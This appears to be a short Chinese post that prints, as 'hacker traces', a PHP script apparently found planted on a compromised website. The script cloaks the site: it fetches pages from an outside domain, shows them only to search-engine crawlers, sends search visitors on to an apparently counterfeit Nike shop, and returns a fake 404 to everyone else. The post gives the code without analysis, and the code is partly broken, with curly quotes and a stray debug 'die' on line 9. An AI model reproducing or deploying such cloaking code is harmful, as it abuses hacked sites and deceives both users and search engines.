黑客作案痕迹

  1 <?php
  2 define("DESURL","http://data.hellotobuy.com/nike/5nike5PuXN7/index.php");
  3 $shellurl = ‘http://‘.$_SERVER[‘HTTP_HOST‘].$_SERVER[‘PHP_SELF‘];
  4
  5 //定义脚本路径
  6 define("SHELLURL",$shellurl);
  7 $host = $_SERVER[‘HTTP_HOST‘];
  8 //echo $_SERVER[‘HTTP_USER_AGENT‘];die;
  9 echo $_SERVER[‘HTTP_ACCEPT_LANGUAGE‘];die;
 10 //判断是否是蜘蛛
 11 function is_spider(){
 12     $robot = 0;
 13     //Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3647.11 Safari/537.36
 14     $USER_AGENT = strtolower($_SERVER[‘HTTP_USER_AGENT‘]);
 15     if(strpos($USER_AGENT,"bot")) $robot = 1;
 16     if(strpos($USER_AGENT,"spider")) $robot = 1;
 17     if(strpos($USER_AGENT,"slurp")) $robot = 1;
 18     if(strpos($USER_AGENT,"google")) $robot = 1;
 19     if(strpos($USER_AGENT,"fast-webcrawler")) $robot = 1;
 20     if(strpos($USER_AGENT,"altavista")) $robot = 1;
 21     if(strpos($USER_AGENT,"ia_archiver")) $robot = 1;
 22     return $robot;
 23 }
 24 function p($arr){
 25     echo "<pre>";
 26     print_r($arr);
 27     echo "</pre>";
 28 }
 29
 30 function from_se(){
 31     $fromse = 0;
 32     $REFERER = $_SERVER["HTTP_REFERER"];
 33     if(strpos($REFERER,"google")) $fromse = 1;
 34     if(strpos($REFERER,"yahoo")) $fromse = 1;
 35     if(strpos($REFERER,"bing")) $fromse = 1;
 36     if(strpos($REFERER,"aol")) $fromse = 1;
 37     if(strpos($REFERER,"ask")) $fromse = 1;
 38     return $fromse;
 39 }
 40 //判断是否是中文
 41 function is_lang_zh()
 42 {
 43     $langs=$_SERVER[‘HTTP_ACCEPT_LANGUAGE‘];
 44     if(strpos($langs,"zh")!==false)
 45         return 1;
 46      else
 47      return 0;
 48 }
 49 function GetHttpPage($url) {
 50     $output = ‘‘;
 51     $time_out = 30;
 52     if (function_exists ( ‘curl_init‘ )) {
 53         $ch = curl_init ();
 54         curl_setopt ( $ch, CURLOPT_URL, $url );
 55         curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
 56         curl_setopt ( $ch, CURLOPT_BINARYTRANSFER, true );
 57         curl_setopt ( $ch, CURLOPT_CONNECTTIMEOUT, $time_out );
 58         curl_setopt ( $ch, CURLOPT_FOLLOWLOCATION,1);
 59         curl_setopt ( $ch, CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)");
 60         $output = curl_exec ( $ch );
 61         curl_close ( $ch );
 62     } elseif (function_exists ( ‘file_get_contents‘ )) {
 63         ini_set(‘user_agent‘, ‘Googlebot/2.1 (+http://www.googlebot.com/bot.html)‘);
 64         $context = stream_context_create(array(‘http‘ => array(‘timeout‘ => $time_out)));
 65         $output = file_get_contents ( $url, false, $context);
 66     } elseif (ini_get ( "allow_url_fopen" ) == "1") {
 67         $errstr = ‘‘;
 68         $errno = ‘‘;
 69         $info = parse_url ( $url );
 70         $fp = fsockopen ( $info ["host"], 80, $errno, $errstr, $time_out ) or exit ( $errstr . "--->" . $errno );
 71         $head = "GET " . $info [‘path‘] . "?" . $info ["query"] . " HTTP/1.1\r\n";
 72         $head .= "Host: " . $info [‘host‘] . "\r\n";
 73         $head .= "Connection: Close\r\n\r\n";
 74         fwrite($fp, $head);
 75         while ( ! feof ( $fp ) ) {
 76             $output .= fgets ( $fp, 128 );
 77         }
 78         fclose ( $fp );
 79     }
 80     return $output;
 81 }
 82     //查询条件    id=123
 83     $qstring=$_SERVER["QUERY_STRING"];
 84     $is_zh=is_lang_zh();
 85     $is_spider = is_spider();
 86     $from_se = from_se();
 87
 88         $htmls = GetHttpPage(DESURL . "?" . $qstring);
 89         $htmls = str_replace("{host}",$host,$htmls);
 90
 91         $desurlmv=DESURL;
 92         $desurlmv = str_ireplace(‘/‘,‘\/‘,$desurlmv);
 93         $htmls=preg_replace(‘/href\s*=\s*(["\‘])‘.$desurlmv.‘/iU‘,‘href=$1‘.SHELLURL, $htmls);
 94         $htmls=preg_replace(‘/href\s*=\s*(["\‘])\//iU‘,‘href=$1‘.SHELLURL, $htmls);
 95         $htmls=preg_replace(‘/href\s*=\s*(["\‘])(?!http)/iU‘,‘href=$1‘.SHELLURL.‘$2‘, $htmls);
 96
 97         $shellurlmv = SHELLURL;
 98         $shellurlmv = str_ireplace(‘?‘,‘‘,$shellurlmv);
 99         $shellurlmv = str_ireplace(‘/‘,‘\/‘,$shellurlmv);
100         $htmls = preg_replace(‘/href\s*=\s*(["\‘])‘.$shellurlmv.‘\?(.*\.css)/iU‘,‘href=$1‘.DESURL.‘$2‘ , $htmls);
101         $htmls = preg_replace(‘/href\s*=\s*(["\‘])‘.$shellurlmv.‘\?(.*\.ico)/iU‘,‘href=$1‘.DESURL.‘$2‘ , $htmls);
102
103         $htmls = preg_replace(‘/src\s*=\s*(["\‘])\//iU‘,‘src=$1‘.DESURL , $htmls);
104         $htmls=preg_replace(‘/src\s*=\s*(["\‘])(?!http)/iU‘,‘src=$1‘.DESURL.‘$2‘, $htmls);
105
106         $htmls=preg_replace(‘/\?\s*(["\‘])/iU‘,‘$1‘, $htmls);
107         $htmls=preg_replace(‘/<input\s*type=\s*["\‘]\s*hidden.*\/\s*>/iU‘,‘‘, $htmls);
108
109     if($is_spider==1)
110     {
111          echo $htmls;
112     }
113     else if($from_se==1)
114     {
115          header("Location: http://nike.hellotobuy.com/");
116     }
117     else
118     {
119          header(‘HTTP/1.1 404 Not Found‘);
120          echo ‘404 Not Found‘;
121     }
122 ?>